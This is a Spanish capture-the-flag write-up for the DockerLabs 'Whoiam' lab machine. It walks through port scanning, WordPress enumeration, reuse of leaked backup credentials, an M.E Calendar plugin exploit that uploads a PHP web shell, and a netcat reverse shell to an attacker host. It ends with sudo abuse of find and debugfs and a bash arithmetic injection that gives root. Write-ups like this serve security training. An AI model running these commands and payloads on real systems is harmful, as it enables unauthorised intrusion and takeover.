Whoiam - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | F谩cil | Pylon |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.18.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es r谩pido y discreto.--min-rate=5000: Env铆a al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resoluci贸n DNS.-Pn: No realiza ping previo para determinar si el host est谩 activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que los siguientes puertos est谩n activos:
80(HTTP) A continuaci贸n, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, adem谩s de obtener m谩s informaci贸n sobre los servicios asociados a esos puertos.nmap -p80 -sCV 172.18.0.2 -oG targeted
Exploraci贸n Web
Al analizar el puerto 80, identificamos un sitio WordPress.
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.18.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir- Indica que est谩s utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
Identificamos el directorio /backups. Al acceder, encontramos un archivo comprimido con una base de datos.
Simult谩neamente, ejecutamos wpscan para enumerar usuarios:
wpscan --url http://172.17.0.2/wordpress -e
Encontramos dos usuarios erik y developer.
Ya que tenemos todo esto vamos a empezar
Intrusion
Descomprimimos el archivo del directorio /backups, obteniendo un archivo 29DBMay que contiene las credenciales:
| Username | Password |
|-----------|-------------------------|
| developer | 2wmy3KrGDRD%RsA7Ty5n71L^|
|-----------|-------------------------|
Probamos estas credenciales en /wp-admin, obteniendo acceso al panel de administraci贸n.
Explotaci贸n
Identificamos el plugin vulnerable M.E Calendar 5.16.2. Usamos un exploit para cargar un shell PHP:
Para ello lo descargamos , ejecutamos el siguiente comando.
python3 poc.py -T 172.18.0.2 -P 80 -U / -u developer -p 2wmy3KrGDRD%RsA7Ty5n71L^
Accedemos a la ruta /wp-content/uploads/shell.php y ejecutamos la shell.
http://172.18.0.2/wp-content/uploads/shell.php
Nos debera de salir una shell interactiva:
Lo que haremos sera desde ahi hacer una reverseshell a nuestra maquina
Reverse Shell
Ejecutamos un comando para establecer una conexi贸n reversa:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 172.18.0.1 4444 >/tmp/f
Simult谩neamente, escuchamos conexiones entrantes con netcat:
nc -lvnp 4444
Logramos acceso como www-data.
TTY ReverseShell
Iniciar una sesi贸n de shell interactiva
En nuestra shell b谩sica, ejecutamos el siguiente comando para forzar la creaci贸n de una sesi贸n de bash interactiva:
script /dev/null -c bash
Suspender la shell
Una vez que el comando anterior est谩 en ejecuci贸n, utilizamos
Control+Z
para suspender temporalmente nuestra shell.
Preparar nuestro terminal local:
Antes de volver a nuestra shell, configuramos nuestro terminal local:
stty raw -echo; fg
Resetear la configuraci贸n del terminal
Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:
reset
Configura el tipo de terminal:
xterm
export TERM=xterm
export SHELL=bash
Escalada de Privilegios
Usuario rafa
Al ejecutar sudo -l, notamos que tiene permisos para ejecutar find como rafa.Utilizando GTFOBins sabemos c贸mo explotar estos binarios.
Ejecutamos lo siguiente:
sudo -u rafa /usr/bin/find . -exec /bin/sh \; -quit
Ya estamos dentro de rafa
Usuario ruben
Al ejecutar sudo -l, notamos que tiene permisos para ejecutar debugfs como ruben.Utilizando GTFOBins sabemos c贸mo explotar estos binarios.
Ejecutamos lo siguiente
sudo -u ruben /usr/sbin/debugfs
y despues
!/bin/sh
Root
Ahora tenemos que escalar con el usuario ruben.
Volvemos a ejecutra sudo -l, notamos que tiene permisos para ejecutar bash como root en el archivo /opt/penguin.sh.Utilizando GTFOBins sabemos c贸mo explotar estos binarios.
Si vemos su codigo podremos ver que nos estamos enfrentando a un Bash eq Privilege Escalation:
El script en bash realiza una comparacion de numeros, si vemos el codigo podremos ver que lo compara con el valor 42 asi que probaremos a ejecutar un comando:
a[$(date >&2)]+42
Por lo que ahora generaremos una shell root
a[$(/bin/sh >&2)]+42
Ya somos root